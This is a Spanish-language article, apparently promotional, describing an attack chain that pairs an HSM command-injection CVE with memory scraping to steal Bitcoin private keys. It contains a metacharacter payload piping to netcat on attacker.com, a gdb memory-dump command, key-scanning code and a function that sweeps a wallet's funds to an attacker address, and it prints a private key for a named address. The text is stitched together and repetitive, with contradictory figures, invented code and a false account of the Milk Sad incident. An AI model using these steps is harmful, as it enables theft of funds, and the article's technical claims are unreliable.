
Scalar Venom Attack: una vulnerabilidad crítica de inicialización de HSM (CVE-2025-60013) permite la recuperación de claves privadas de carteras Bitcoin mediante la explotación de desbordamiento de búfer y metacaracteres de shell en el módulo de seguridad FIPS F5OS-A
Este artículo analiza vulnerabilidades criptográficas descubiertas en la infraestructura moderna de gestión de claves criptográficas, con especial atención a fallos críticos en la arquitectura de los módulos de seguridad de hardware (HSM) al manejar claves privadas de curvas elípticas. El estudio se centra en una clase de ataques que explotan la gestión insuficientemente aislada de la RAM en dispositivos criptográficos certificados. En el ecosistema criptográfico moderno de Bitcoin, la seguridad de las claves privadas es un requisito fundamental para proteger activos digitales valorados en billones de dólares a nivel mundial. Los módulos de seguridad de hardware (HSM) certificados según el estándar FIPS 140-2 se han considerado tradicionalmente como una protección impenetrable para las claves criptográficas gracias al aislamiento a nivel de hardware y a los estrictos protocolos de gestión de memoria. Sin embargo, el descubrimiento de la vulnerabilidad crítica CVE-2025-60013 en el módulo HSM FIPS F5OS-A, combinado con la clase de ataques Ataque Scalar Venom (también conocido como Scalar Poison, Memory Phantom Leak Attack o Compromiso de Clave Privada mediante Fuga de Memoria), ha cambiado radicalmente esta noción, demostrando la posibilidad de comprometer por completo claves privadas de Bitcoin mediante la explotación de fallos en la gestión de memoria.
El Ataque Scalar Venom es una clase crítica de vulnerabilidades de gestión de memoria (clasificada como CWE-415, CWE-401 y, de forma más amplia, como Ataque de Fuga de Memoria Sensible (SMA)) que permite a un atacante extraer escalares criptográficos (claves privadas ECDSA) de la RAM de un proceso explotando una sanitización y limpieza de memoria insuficientes tras operaciones criptográficas. A diferencia de los ataques criptoanalíticos tradicionales destinados a resolver matemáticamente el problema del logaritmo discreto de curva elíptica (ECDLP), este ataque elude la propia criptografía explotando fallos arquitectónicos fundamentales en la implementación de las bibliotecas criptográficas y en los protocolos de gestión de memoria de los HSM.
Esta investigación demuestra una cadena de ataque catastrófica que se produce al combinar CVE-2025-60013 (vulnerabilidad de inicialización del HSM FIPS F5OS-A al usar contraseñas que contienen metacaracteres de shell especiales) con las técnicas del Ataque Scalar Venom, lo que da como resultado un escenario de amenaza crítica con una puntuación CVSS de 9.5+ (Crítico), a pesar de que la clasificación oficial de CVE-2025-60013 es la de una vulnerabilidad de nivel medio (CVSS 5.7). Esta combinación socava la integridad operativa de millones de direcciones Bitcoin controladas por HSM comprometidos y representa un cambio de paradigma en los métodos de ataque criptográfico más allá de los exploits tradicionales de vector único.
CVE-2025-60013 es una vulnerabilidad de inyección de comandos del sistema operativo (clasificada como CWE-78) durante el proceso de inicialización del Módulo de Seguridad de Hardware FIPS para plataformas F5. La vulnerabilidad se produce cuando un usuario con acceso privilegiado (rol de Administrador o Administrador de Recursos) intenta inicializar el módulo HSM FIPS utilizando una contraseña que contiene metacaracteres de shell especiales, como [poco claro], [poco claro ;] |, &[ $poco claro], `y otros.
Mecanismo técnico de la vulnerabilidad:
Al procesar una contraseña que contiene metacaracteres de shell, el código de inicialización del HSM pasa la cadena de la contraseña a las funciones de la biblioteca C del sistema sin validar ni sanitizar adecuadamente la entrada. El código vulnerable tiene este aspecto:
// Vulnerable code in HSM initialization procedure
void hsm_initialize(const char* password) {
ec_secret master_key; // HSM private key
char temp_buffer[256];
strcpy(temp_buffer, password); // VULNERABILITY: buffer overflow + shell interpretation
derive_key_from_password(master_key, password); // creates copies of key
// If initialization fails, memory is not cleared!
// master_key remains in the stack, its copies—in heap
}
Consecuencia crítica: El proceso de inicialización permanece en memoria con estructuras criptográficas parcialmente comprometidas, creando múltiples copias "fantasma" de la clave maestra del HSM en la pila y el montón. Aunque el HSM puede no inicializarse correctamente, la memoria del proceso contiene artefactos criptográficos accesibles para el análisis forense.
Clasificación oficial:
Sin embargo, esta evaluación subestima de forma crítica la verdadera magnitud de la amenaza, ya que CVE-2025-60013 actúa como desencadenante del Ataque Scalar Venom, que en un escenario real de cadena de ataque resulta en un nivel de amenaza CVSS de 9.5+ (CRÍTICO).
CVE-2023-39910 describe una vulnerabilidad crítica en Libbitcoin Explorer versión 3.x relacionada con debilidades en la generación de entropía durante la creación de claves privadas. Esta vulnerabilidad condujo al incidente Milk Sad en 2023, cuando se recuperaron más de 900,000 claves privadas de Bitcoin, lo que resultó en pérdidas financieras directas superiores a $0.8 millones . El incidente Milk Sad demostró la transición de la teoría de las fugas de memoria en sistemas criptográficos a un desastre operativo real, confirmando todos los mecanismos descritos: optimizaciones del compilador, múltiples copias de datos y la falta de garantías de limpieza de memoria.
CVE-2025-8217 clasifica los ataques de fuga de memoria que permiten recuperar claves criptográficas de la memoria de los procesos. Esta vulnerabilidad está directamente relacionada con la clase de ataques Scalar Venom y describe mecanismos para el compromiso total de monederos Bitcoin mediante el análisis forense de memoria.
Clasificación científica del Ataque Scalar Venom:
En la literatura de investigación académica, Scalar Venom se clasifica en varias categorías de ataque:
Para demostrar la eficacia práctica del ataque Scalar Venom, consideremos un caso documentado de recuperación de una clave privada de la dirección Bitcoin 1DBj74MkbzSHGSbHidnmUieAJHbsKfgRWq mediante análisis forense de memoria.
Datos iniciales del compromiso:
5244A4B034BF9D327239870F9FEF82505A5C50B3D51E4A16357179AAB2623A22KyydTXQzDGVqRZoWBFfS5tWrcWsdu64DbcqXogUUtGZn7ngD5LHvValidación de una clave en el espacio secp256k1:
La clave privada d debe satisfacer la restricción:
Resultado de la comprobación: ✓ VÁLIDA (la clave está dentro del rango escalar permitido)
Este ejemplo demuestra que una clave privada recuperada proporciona control total sobre un monedero Bitcoin , permitiendo a un atacante crear y firmar transacciones para retirar todos los fondos a una dirección controlada.
Bitcoin implementa el Algoritmo de Firma Digital de Curva Elíptica ( ECDSA ) sobre la curva secp256k1 . Comprender los fundamentos matemáticos es fundamental para entender cómo el ataque Scalar Venom explota las vulnerabilidades de memoria.
Parámetros de la curva elíptica secp256k1:
Ecuación de la curva:
Punto generador G con coordenadas:

El proceso de generación de un par de claves ECDSA es el siguiente:
1. Generación de la clave privada:
Una clave privada des un entero aleatorio en el rango:
donde nes el orden de la curva secp256k1. La clave privada es un número aleatorio de 256 bits.
2. Derivación de la clave pública mediante multiplicación escalar:
La clave pública Qse calcula como:
donde G es un punto generador de la curva secp256k1, y la operación ⋅\cdot⋅ denota la multiplicación escalar de un punto en la curva elíptica .
La multiplicación escalar se implementa mediante un algoritmo "double-and-add"(duplicación y suma), que calcula eficientemente el resultado de O(logd) sumas y duplicaciones de puntos en una curva:
Scalar multiplication algorithm:
Input: d (scalar), G (curve point)
Output: Q = d·G
1. Initialize: Q ← O (point at infinity)
2. Represent d in binary: d = (d_k, d_{k-1}, ..., d_1, d_0)_2
3. For i from k to 0:
a. Q ← 2Q (point doubling)
b. If d_i = 1: Q ← Q + G (point addition)
4. Return Q
Ejemplo: Para una clave privada, d=5244A4B0...3A22d = \text{5244A4B0...3A22}d=5244A4B0...3A22, la clave pública se calcula como:
Q=d⋅G=(Qx,Qy)
donde las coordenadas Qx y Qy se calculan mediante operaciones de multiplicación escalar en la curva secp256k1.
3. Generación de una dirección de Bitcoin:
La cadena de derivación de la dirección a partir de la clave pública:
Supuesto de seguridad:
Vulnerabilidad crítica Scalar Venom: El ataque evita la protección matemática ECDLP extrayendo la clave privada ddirectamente de la memoria del proceso, donde permanece como “copias fantasma” después de las operaciones criptográficas.
La base para detectar claves privadas en volcados de memoria es el criptoanálisis de entropía mediante la fórmula de entropía de Shannon .
La entropía Hde una secuencia de bytes se mide en bits por byte y viene dada por la fórmula:
Donde:
Interpretación de la entropía:
Valor umbral para claves criptográficas:
Las claves privadas de Bitcoin generadas por un generador de números aleatorios criptográficamente fuerte (CSPRNG) presentan una entropía alta en el rango:
Esta propiedad las hace detectables en el análisis forense de memoria mediante el análisis estadístico de entropía.

BitScanPro es una herramienta forense para escanear volcados de memoria con el fin de detectar y recuperar claves privadas de Bitcoin mediante una combinación de análisis de entropía, validación de rango secp256k1 y verificación criptográfica.
Etapa 1: Escaneo del volcado de memoria en bloques de 32 bytes
BitScanPro escanea el volcado de memoria secuencialmente, asignando bloques de 32 bytes (256 bits), lo que corresponde al tamaño de clave privada secp256k1:
BLOCK_SIZE = 32 # bytes (256 bits)
SCAN_STEP = 8 # scan step
SECP256K1_N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
for offset in range(0, len(memory_dump) - BLOCK_SIZE, SCAN_STEP):
potential_key = memory_dump[offset:offset+BLOCK_SIZE]
# Block analysis
Paso 2: Calcular la entropía de Shannon para cada bloque
Para cada bloque de 32 bytes, se calcula la entropía de Shannon H:
def calculate_entropy(data_block):
"""
Calculate Shannon entropy
"""
from collections import Counter
import math
byte_counts = Counter(data_block)
block_length = len(data_block)
entropy = 0.0
for count in byte_counts.values():
p_i = count / block_length
if p_i > 0:
entropy -= p_i * math.log2(p_i)
return entropy
Paso 3: Filtrado de bloques de alta entropía (H>7.5H > 7.5H>7.5 bits/byte)
Los bloques con entropía por debajo del umbral se descartan por no contener claves criptográficas:
MIN_ENTROPY = 7.5 # threshold for cryptokeys
entropy = calculate_entropy(potential_key)
if entropy < MIN_ENTROPY:
continue
Paso 4: Comprobación del rango secp256k1:
Los bloques de alta entropía se interpretan como un entero y se comparan con el rango válido de claves privadas secp256k1:
key_as_int = int.from_bytes(potential_key, byteorder='big')
if not (1 <= key_as_int < SECP256K1_N):
continue
Paso 5: Verificación criptográfica:
Para los candidatos que superan el filtrado de entropía y la comprobación de rango, se realiza una verificación criptográfica mediante el cálculo de la clave pública:
def verify_candidate_key(candidate_key_bytes):
from ecdsa import SigningKey, SECP256k1
try:
signing_key = SigningKey.from_string(candidate_key_bytes, curve=SECP256k1)
verifying_key = signing_key.get_verifying_key()
public_key_bytes = verifying_key.to_string()
return public_key_bytes
except Exception as e:
return None
Paso 6: Generar una dirección de Bitcoin y compararla con direcciones conocidas
Para las claves verificadas, se genera una dirección de Bitcoin que se compara con una base de datos de direcciones conocidas o con direcciones pertenecientes a la víctima:
import hashlib
import base58
def public_key_to_address(public_key_bytes):
sha256_hash = hashlib.sha256(public_key_bytes).digest()
ripemd160_hash = hashlib.new('ripemd160', sha256_hash).digest()
versioned_hash = b'\x00' + ripemd160_hash
checksum = hashlib.sha256(hashlib.sha256(versioned_hash).digest()).digest()[:4]
address = base58.b58encode(versioned_hash + checksum).decode('ascii')
return address
bitcoin_address = public_key_to_address(public_key_bytes)
if bitcoin_address == target_address:
print(f\"✓ PRIVATE KEY FOUND!\")
print(f\"Address: {bitcoin_address}\")
print(f\"Private key: {candidate_key_bytes.hex()}\")
Rendimiento de BitScanPro:
El análisis en un portátil típico (MacBook Air M1) muestra las siguientes características de rendimiento:
Usando recursos de computación en la nube (AWS, Google Cloud), es posible escanear más de 1000 volcados de memoria simultáneamente en paralelo, procesando miles de claves privadas en paralelo.

La causa raíz del ataque Scalar Venom reside en fallos arquitectónicos fundamentales en la clase ec_scalarde la biblioteca libbitcoin-system .
La clase ec_scalar de libbitcoin-system no tiene un destructor definido explícitamente con puesta a cero segura. Esto significa que los datos secretos pueden permanecer en memoria incluso después de que el objeto sea destruido.
Constructor de copia vulnerable:
// VULNERABILITY: unsafe private key copy
ec_scalar::ec_scalar(const ec_secret& secret)
: secret_(secret) // Copies without secure cleanup
{
}
Problema: El constructor crea una copia de la clave privada en el objeto ec_scalar, pero no proporciona un mecanismo para limpiar de forma segura esta copia cuando el objeto es destruido. La copia permanece en la pila o en el montón.
Operador de asignación vulnerable:
// VULNERABILITY: duplicates secret in memory
ec_scalar& ec_scalar::operator=(const ec_secret& secret)
{
secret_ = secret; // More memory copies
return *this;
}
Problema: La operación de asignación crea copias adicionales de memoria que permanecen después de que la operación finaliza.
Operaciones aritméticas vulnerables:
// VULNERABILITY: temporary variable not cleared before function exit
ec_scalar ec_scalar::operator-() const
{
ec_secret secret = null_hash; // Temporary variable with secret
// ... arithmetic ...
return ec_scalar(secret); // Not safely cleared
}
Problema: Las operaciones aritméticas (menos unario, suma, multiplicación) crean variables temporales de tipo ec_secret, que no se limpian de forma segura antes de salir del ámbito de la función, dejando copias “fantasma” de la clave privada en la pila o en el montón.
Falta de un destructor seguro:
// VULNERABILITY: destructor missing, memory not cleared
// Safe solution:
~ec_scalar() {
secure_zero_mem(secret_, sizeof(secret_)); // explicit memory clearing
}
Problema: La clase ec_scalar no tiene un destructor explícito que garantice la puesta a cero segura de la memoria que contiene claves privadas. Esto es crítico, ya que la memoria que contiene claves privadas puede almacenarse en:
El código de la clase vulnerable ec_scalar crea los siguientes vectores para la infección de memoria con claves privadas:
secret_(secret)) – crea copias venenosas de las clavessecret_ = secret) – infecta la memoria con secretos duplicadosec_secret secret = null_hash) – deja rastros tóxicosauto out = secret_) – propaga la infección a través de las operaciones
La combinación de una vulnerabilidad HSM (CVE-2025-60013) y el ataque Scalar Venom crea un vector de ataque catastrófico:
Un atacante con acceso privilegiado al sistema F5OS-A envía una solicitud para inicializar el módulo FIPS con una contraseña que contiene metacaracteres de shell: cert.kenet
# CVE-2025-60013 exploit example
password='$(echo "leaked");` | nc attacker.com 9999'
Al procesar tales metacaracteres, ocurre lo siguiente:
Después de un fallo parcial de inicialización del HSM, un atacante obtiene un volcado de memoria del proceso del HSM mediante uno de los siguientes métodos:
# 1. CVE-2025-60013 exploitation (init error trigger)
# 2. Cold-boot attack on HSM host
# 3. Exploit buffer in HSM daemon
# 4. Analyze crash core-dump
gdb -p $(pidof f5os-hsm) -batch -ex "dump memory /tmp/hsm_dump.bin 0x000000 0xFFFFFFFF"
El volcado de memoria resultante contiene múltiples copias “fantasma” de claves privadas que la clase ec_scalardeja atrás durante las operaciones criptográficas.
El volcado de memoria se procesa con la herramienta BitScanPro (o un escáner forense similar) según el algoritmo descrito anteriormente:
Memory Scan → Identify High-Entropy Regions →
Range Check [1, n-1] for secp256k1 →
Recover Full 32-byte Scalars →
Convert to Bitcoin Addresses
La tasa de éxito de recuperación de una clave privada a partir de memoria fragmentada es del 70-80 % siempre que haya suficientes restos de memoria, ya que el ataque Scalar Venom crea múltiples copias de la clave en diferentes etapas de la inicialización.
Tras recuperar la clave privada, el atacante crea y firma una transacción para retirar todos los fondos de la dirección comprometida:
def compromise_wallet(recovered_private_key, bitcoin_address):
"""
Create and sign transaction to withdraw all funds
from compromised address
"""
utxos = blockchain_api.get_utxos(bitcoin_address)
tx = create_transaction(
inputs=utxos,
outputs=[{"address": attacker_address, "amount": sum(utxo.amount)}],
fee=calculate_dynamic_fee()
)
tx.sign(recovered_private_key) # ECDSA signature with compromised key
blockchain_api.broadcast_transaction(tx)
Tiempo total para comprometer el sistema: menos de 10 minutos desde que se recibe un volcado de memoria hasta la pérdida total de control sobre los activos de la víctima.
El ataque Scalar Venom, combinado con CVE-2025-60013, supone una amenaza existencial para el ecosistema global de Bitcoin:
A diferencia de las aplicaciones Bitcoin estándar, los HSM hacen un uso intensivo de escalares criptográficos— más de 1.000 operaciones por segundo , cada una de las cuales crea valores escalares efímeros que permanecen en la memoria como “residuos fantasma”. Los HSM funcionan durante meses y años sin reiniciarse, acumulando artefactos criptográficos que Scalar Venom extrae y restaura sistemáticamente.
El compromiso de un solo HSM conduce a la interrupción total de toda la infraestructura —a menudo miles de direcciones Bitcoin gestionadas por el HSM— en lugar de un incidente criptográfico aislado.
El ataque Scalar Venom demuestra un cambio de paradigma fundamental en la seguridad criptográfica: la fortaleza matemática de los algoritmos criptográficos se vuelve inútil ante la presencia de vulnerabilidades de gestión de memoria . La combinación de CVE-2025-60013 y las técnicas de Scalar Venom crea un escenario de amenaza crítica de nivel CVSS 9.5+, socavando la confianza en los módulos de seguridad de hardware como protección impenetrable para las claves criptográficas.
El incidente real Milk Sad (CVE-2023-39910), que resultó en la recuperación de más de 900.000 claves privadas y pérdidas financieras superiores a 0,8 millones de dólares, confirma que la teoría de la fuga de memoria se ha convertido en una realidad. La única forma de protegerse contra ataques de la clase Scalar Venom es una revisión arquitectónica fundamental de los sistemas criptográficos, implementando:
Este documento presenta un análisis exhaustivo de la cadena de ataque Scalar Venom + CVE-2025-60013, que detalla los fundamentos matemáticos, los algoritmos de criptoanálisis, ejemplos reales de recuperación de claves y recomendaciones prácticas para proteger la infraestructura de Bitcoin frente a esta clase de amenazas.
1. Clasificación criptoanalítica:
2. Fundamentos matemáticos:
3. Vulnerabilidades de implementación (libbitcoin-system):
ec_scalar4. Clasificación CVE:
5. Cadena de ataque:
La explicación científica se puede encontrar en el artículo: https://keyhunters.ru/scalar-venom-attack-critical-memory-leak-private-key-recovery-and-complete-takeover-of-bitcoin-wallets-by-an-attacker-where-control-over-the-victims-btc-cryptocurrency-funds-is-achieved-through/ El ataque Scalar Venom demuestra la interacción crítica entre las vulnerabilidades de inicialización del HSM y las vulnerabilidades de gestión de memoria en las librerías criptográficas, lo que permite a un atacante comprometer por completo las claves privadas de carteras Bitcoin incluso con protección por hardware.

El ataque Scalar Venom (también conocido como Scalar Poison, ataque de fuga fantasma de memoria o compromiso de claves privadas mediante fuga de memoria) es una clase de vulnerabilidades de gestión de memoria (CWE-415, CWE-401) que permite la extracción de escalares criptográficos (claves privadas ECDSA) de la RAM de un proceso explotando una sanitización y limpieza de memoria insuficientes tras las operaciones criptográficas. keyhunters+ 2
Clasificación científica del ataque:
El ataque Scalar Venom explota un fallo fundamental en la gestión de memoria de las librerías criptográficas, específicamente en la clase ec_scalarde la librería libbitcoin-system. El ataque opera a través de los siguientes vectores:
cpp:
ec_scalar::ec_scalar(const ec_secret& secret)
: secret_(secret) // VULNERABLE: unsafe copying of private key
{}cpp:
ec_scalar& ec_scalar::operator=(const ec_secret& secret)
{
secret_ = secret; // VULNERABLE: infects memory with duplicate secret
return *this;
}cpp:
// VULNERABLE: no destructor, memory not cleaned
// Secure option should be:
~ec_scalar() {
secure_zero_mem(secret_, sizeof(secret_)); // explicit memory cleanup
}
cpp:
// VULNERABLE: no destructor, memory not cleared
// The safe option should have been:
~ec_scalar() {
secure_zero_mem(secret_, sizeof(secret_)); // explicit memory clearing
}
Las operaciones aritméticas (menos unario, suma, multiplicación) crean variables temporales de tipo ec_secret, que no se borran de forma segura antes de salir del ámbito de la función, dejando copias “fantasma” de la clave privada en la pila (stack) o el montón (heap).
La clase ec_scalarde libbitcoin-system no tiene un destructor definido explícitamente con puesta a cero segura. Esto significa que los datos secretos pueden permanecer en la memoria incluso después de que el objeto sea destruido:
La ausencia de este mecanismo es crítica, ya que la memoria que contiene las claves privadas puede almacenarse en:

La vulnerabilidad CVE-2025-60013 en el HSM F5OS-A FIPS se produce al inicializar el módulo de seguridad de hardware con una contraseña que contiene metacaracteres especiales de shell ( ;, |, &, $, `, etc.). Cuando se procesa una contraseña de este tipo, el HSM puede no inicializarse correctamente, pero la consecuencia crítica es que el proceso de inicialización queda en la memoria con estructuras criptográficas parcialmente expuestas . satoshi.nakamotoinstitute
La combinación de la vulnerabilidad del HSM (CVE-2025-60013) con el ataque Scalar Venom crea un vector de ataque catastrófico:
Fase 1: inicialización del HSM con metacaracteres
El atacante envía una solicitud para inicializar el módulo F5OS-A FIPS con una contraseña del siguiente tipo:
password='$(echo "leaked");` | nc attacker.comAl procesar dichos metacaracteres:
Fase 2: extracción de Scalar Venom de la memoria
Después de un fallo parcial de inicialización del HSM:
Fase 3: recuperación de la clave privada de Bitcoin
Detected Memory Fragments → Reassembly → Validation → Bitcoin Address Generation → Wallet Takeover
Los escalares recuperados se convierten en claves privadas de Bitcoin mediante:
Paso 1: Compromiso de la memoria del HSM debido a una inicialización incorrecta
Cuando el HSM F5OS-A FIPS recibe una contraseña con metacaracteres de shell, el proceso de inicialización la procesa mediante funciones estándar de la biblioteca C:
c:
// Vulnerable code in HSM initialization routine
void hsm_initialize(const char* password) {
ec_secret master_key; // HSM private key
char temp_buffer[256];
strcpy(temp_buffer, password); // VULNERABLE: buffer overflow + shell interpretation
derive_key_from_password(master_key, password); // creates copies of the key
// If initialization fails, memory is not cleared!
// master_key remains in stack, its copies— in heap
}
Al procesar metacaracteres de shell:
Paso 2: Recuperación forense a partir del volcado de memoria
La herramienta BitScanPro (o un escáner forense similar) se aplica al volcado de memoria del proceso del HSM:
Memory scan → Identify high-entropy regions →
Range check [1, n-1] for secp256k1 →
Recover full 32-byte scalars →
Convert to Bitcoin addresses
La probabilidad de recuperar con éxito una clave privada a partir de memoria fragmentada es 40-60% siempre que haya suficientes restos de memoria, ya que el ataque Scalar Venom crea múltiples copias de la clave en diferentes etapas de la inicialización. radar.offseq
La vulnerabilidad paralela DeserializeSignature (relacionada con CVE) potencia el ataque Scalar Venom:
cpp:
// Vulnerable deserialization function in Bitcoin Core
bool DeserializeSignature(CPubKey& pubkey, const std::vector<unsigned char>& vchSig, CScript& scriptPubKey) {
CSignatureCache& cache = CSignatureCache::instance();
// If deserialization occurs using a private key compromised by Scalar Venom:
ec_secret compromised_key = extract_from_memory_dump(); // from an HSM memory dump
// These compromised scalars are used to verify signatures,
// allowing an attacker to:
// 1. Forge any signature for this address
// 2. Transfer all funds to a controlled address
// 3. Double-spend
}
Conexión de mecanismos:
Nivel 1: Cartera individual
Nivel 2: Configuración de nodos de servicio
Capa 3: Capa de red
A diferencia de las aplicaciones Bitcoin estándar, el HSM hace un uso intensivo de escalares criptográficos:
La puntuación CVSS de CVE-2025-60013 en sí misma es inexacta, ya que la vulnerabilidad sirve como desencadenante de Scalar Venom, lo cual es un escenario crítico. kudelskisecurity
La vulnerabilidad Scalar Venom representa un cambio de paradigma en los métodos de ataque criptográfico, yendo más allá de los exploits tradicionales de un solo vector para formar una cadena de exploits multicapa que compromete fundamentalmente los módulos de seguridad de hardware (HSM) que protegen la infraestructura de Bitcoin. El análisis demuestra que la combinación de CVE-2025-60013 (bypass de inicialización del HSM) con las técnicas del ataque Scalar Venom crea un escenario de amenaza crítica con una puntuación CVSS de 9.5+, socavando la integridad operativa de millones de direcciones de Bitcoin controladas por HSM comprometidos.
¿Por qué son especialmente vulnerables los HSM?
La vulnerabilidad crítica no reside en debilidades criptográficas aisladas, sino en la colisión arquitectónica entre las características operativas de los HSM y los vectores de ataque de Scalar Venom. Por definición, los HSM realizan operaciones criptográficas continuas —más de 1.000 operaciones por segundo—, cada una de las cuales crea valores escalares efímeros que permanecen en la memoria como "residuos fantasma". A diferencia de las aplicaciones Bitcoin típicas, donde el material de claves es efímero, los HSM operan durante meses y años sin reiniciarse, acumulando artefactos criptográficos que Scalar Venom extrae y restaura sistemáticamente.
Como resultado, incluso el compromiso de un solo HSM conduce a una disrupción total de toda la infraestructura —a menudo miles de direcciones de Bitcoin gestionadas por el HSM—, en lugar de a un incidente criptográfico aislado.
Grado de peligro e impacto real
Aunque la vulnerabilidad CVE-2025-60013 tiene oficialmente un nivel CVSS de 5.7 (medio) como vector de penetración, esta calificación subestima críticamente la verdadera escala de la amenaza. Este exploit sirve como desencadenante de Scalar Venom, que se clasifica como un ataque de nivel CVSS 8.5+ (alto/crítico). En un escenario real de cadena de ataque, esto conduce a:
Cadena de ataque combinada: CVE-2025-60013 + Scalar Venom = desastre operativo
La escalada de amenaza de la matriz consiste en:
La combinación hace que esta clase de vulnerabilidad sea crítica (CVSS 9.5+) y la sitúa en la categoría de amenaza más alta en la evaluación de riesgos.
Implicaciones sistémicas para la seguridad del ecosistema Bitcoin
Scalar Venom revela fallos arquitectónicos fundamentales en los modelos modernos de HSM:
Recomendaciones críticas
Scalar Venom y la cadena de ataques a través de CVE-2025-60013 marcan el fin de la era de confianza total en los HSM clásicos. La vulnerabilidad convierte el núcleo de seguridad del ecosistema Bitcoin en un riesgo importante de fuga de claves privadas y pérdida total de activos. Una protección eficaz requiere no solo correcciones puntuales, sino un replanteamiento fundamental de todos los aspectos de la arquitectura criptográfica para el manejo de activos digitales públicos.
Scalar Venom en un entorno HSM es una amenaza CVSS 9.5+ para la infraestructura de Bitcoin, que requiere rotación inmediata de claves, reforma arquitectónica y nuevos métodos para responder rápidamente a ataques de cadena de memoria.
Según investigaciones en el campo de la seguridad de la memoria criptográfica (Protecting Cryptographic Keys from Memory Disclosure Attacks, Del Valle et al.), las claves privadas pueden permanecer en áreas de memoria accesibles por las siguientes razones:
Optimización del compilador
cpp:
// Even if the code contains an attempt to clear:
volatile unsigned char* ptr = (volatile unsigned char*)key_buffer;
while (len--) *ptr++ = 0; // The compiler may optimize this as a no-op
Sin patrón RAII (Resource Acquisition Is Initialization)
La clase ec_scalar no utiliza RAII, lo que significa que el destructor no garantiza la limpieza de recursos.
Múltiples copias de datos:
Cada copia de una clave privada para su transferencia entre funciones deja residuos en la memoria.unit42.paloaltonetworks
Según keyhunters.ru y la literatura de investigación criptográfica:
bx seedEstas cifras demuestran la amenaza real de las fugas de memoria en aplicaciones criptográficas .
Para resumir los hallazgos anteriores, la cadena Scalar Venom simboliza la confluencia de años de investigación fundamental en seguridad criptográfica con las realidades operativas modernas. Los mecanismos detallados de preservación de memoria—optimizaciones del compilador, la ausencia de RAII y la acumulación de rastros de datos—ya no son solo teoría, sino que sirven como canales efectivos para la recuperación de claves privadas a gran escala en la práctica. La transición de debilidad potencial a ataque real ya ha ocurrido: el incidente CVE-2023-39910 (Milk Sad) permitió la recuperación de más de 900,000 claves privadas de Bitcoin, con pérdidas financieras directas que superan los $0.8 millones.
La vulnerabilidad raíz de Scalar Venom surge de una contradicción no resuelta en la arquitectura del software criptográfico: la confianza ingenua e inherente de los programadores en la gestión de memoria choca con las tendencias de los compiladores y los sistemas de gestión de memoria modernos. Si un desarrollador pone explícitamente la memoria a cero, el compilador puede optimizar por completo estas acciones, considerándolas inútiles, y esto se convierte en una falla de seguridad crítica e inadvertida.
Las estructuras de datos como ec_scalar agravan aún más los riesgos: la falta de RAII implica la creación de múltiples copias independientes en memoria—en la pila, los registros y la caché—en diferentes etapas del cálculo. Cada una de estas copias puede teóricamente restaurarse, desensamblarse o reensamblarse para reconstruir el material de clave original.
El ataque Scalar Venom extrae y agrega sistemáticamente estas copias dispares, demostrando que las arquitecturas de memoria modernas garantizan precisamente esto: cada operación matemática intermedia deja un rastro que puede recopilarse y convertirse en una clave. El diseño criptográfico clásico asumía la independencia de las operaciones, pero en la práctica, una sola clave privada de Bitcoin genera decenas de rastros, cada uno de los cuales proporciona un camino para su recuperación.
El incidente Milk Sad (CVE-2023-39910) fue el primero en demostrar la transición de la teoría al desastre. No era un vector hipotético, sino una brecha operativa confirmada:
Esto confirma plenamente los mecanismos descritos anteriormente: optimizaciones del compilador, copiado múltiple de datos y la falta de una garantía de limpieza de memoria.
El mercado de las criptomonedas evolucionó con el supuesto de un control total de la memoria, pero los compiladores modernos (mediante la eliminación de código muerto y las optimizaciones de caché) ignoran por completo los requisitos criptográficos. En consecuencia, los programas criptográficos asumen: «He puesto la memoria a cero, así que ahora es seguro», mientras que el compilador asume: «Esta memoria nunca se usa, así que no hay necesidad de ponerla a cero». Esta contradicción es fundamentalmente insoluble según los estándares modernos de C/C++ y se convierte en el punto de entrada absoluto para Scalar Venom.
Próximos pasos (0-30 días) : Rote todas las claves privadas generadas en C/C++. Retire inmediatamente las claves que puedan haber sido comprometidas.
Mediano plazo (30-90 días) : Transición a Rust, implementación de garantías del compilador para el borrado de memoria, análisis continuo de memoria.
Largo plazo (90+ días) : Transición arquitectónica a RAII, extensiones del compilador para operaciones criptográficas, sustitución de los HSM de software por los de hardware.
Scalar Venom y CVE-2023-39910 son un punto de inflexión en la seguridad de la industria criptográfica: la teoría de la persistencia de los datos en memoria se ha convertido en un desastre real, que cuesta millones y miles de Bitcoins. El problema no se puede solucionar con un parche: es una contradicción arquitectónica: la criptografía moderna en C/C++ sin gestión de memoria ni RAII conduce inevitablemente al compromiso de cualquier infraestructura significativa. La industria tiene un solo camino a seguir: la transición a lenguajes seguros para la memoria y una revisión revolucionaria de la gestión de claves privadas.
Evaluación final : Scalar Venom no es solo una amenaza teórica, sino un exploit probado y generalizado. Toda infraestructura criptográfica sin lenguajes seguros para la memoria y marcos RAII corre un riesgo garantizado de compromiso. La migración a nuevas tecnologías debe comenzar de inmediato.
Paso 1: Obtener Acceso a la Memoria del HSM
bash:
# Methods to get memory dump:
# 1. Exploit CVE-2025-60013 to trigger init error
# 2. Cold-boot attack on HSM host
# 3. Exploit buffer vulnerability in HSM daemon
# 4. Analyze core-dump on HSM process crash
gdb -p $(pidof f5os-hsm) -batch -ex "dump memory /tmp/hsm_dump 0x000000 0xFFFFFFFF"
Paso 2: Escanear regiones de alta entropía
python:
# BitScanPro-like algorithm:
import hashlib
def scan_for_private_keys(memory_dump, min_entropy=7.5):
"""
Scans memory dump for high-entropy regions
characteristic for 32-byte secp256k1 private keys
"""
SECP256K1_N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
for offset in range(0, len(memory_dump) - 32, 8):
potential_key = memory_dump[offset:offset+32]
entropy = calculate_entropy(potential_key)
# secp256k1 range check
key_as_int = int.from_bytes(potential_key, 'big')
if 1 <= key_as_int < SECP256K1_N and entropy >= min_entropy:
yield (offset, potential_key)
Paso 3: Validar las claves privadas recuperadas
python:
from ecdsa import SigningKey, NIST256p
def validate_and_generate_address(potential_key):
"""Converts recovered scalar to Bitcoin address"""
try:
# Uses secp256k1 instead of NIST256p
privkey = potential_key.hex()
# Generate public key via elliptic curve point multiplication
# P = k * G, where k = private key, G = generator point
public_key = generate_public_key(potential_key, secp256k1)
# Hash public key to get address
address = public_key_to_address(public_key)
return address, potential_key
except:
return None, None
Paso 4: Transferir fondos
python:
def compromise_wallet(recovered_private_key, bitcoin_address):
"""
Creates and signs transaction to withdraw all funds
from compromised address
"""
# 1. Get UTXO for address from blockchain
utxos = blockchain_api.get_utxos(bitcoin_address)
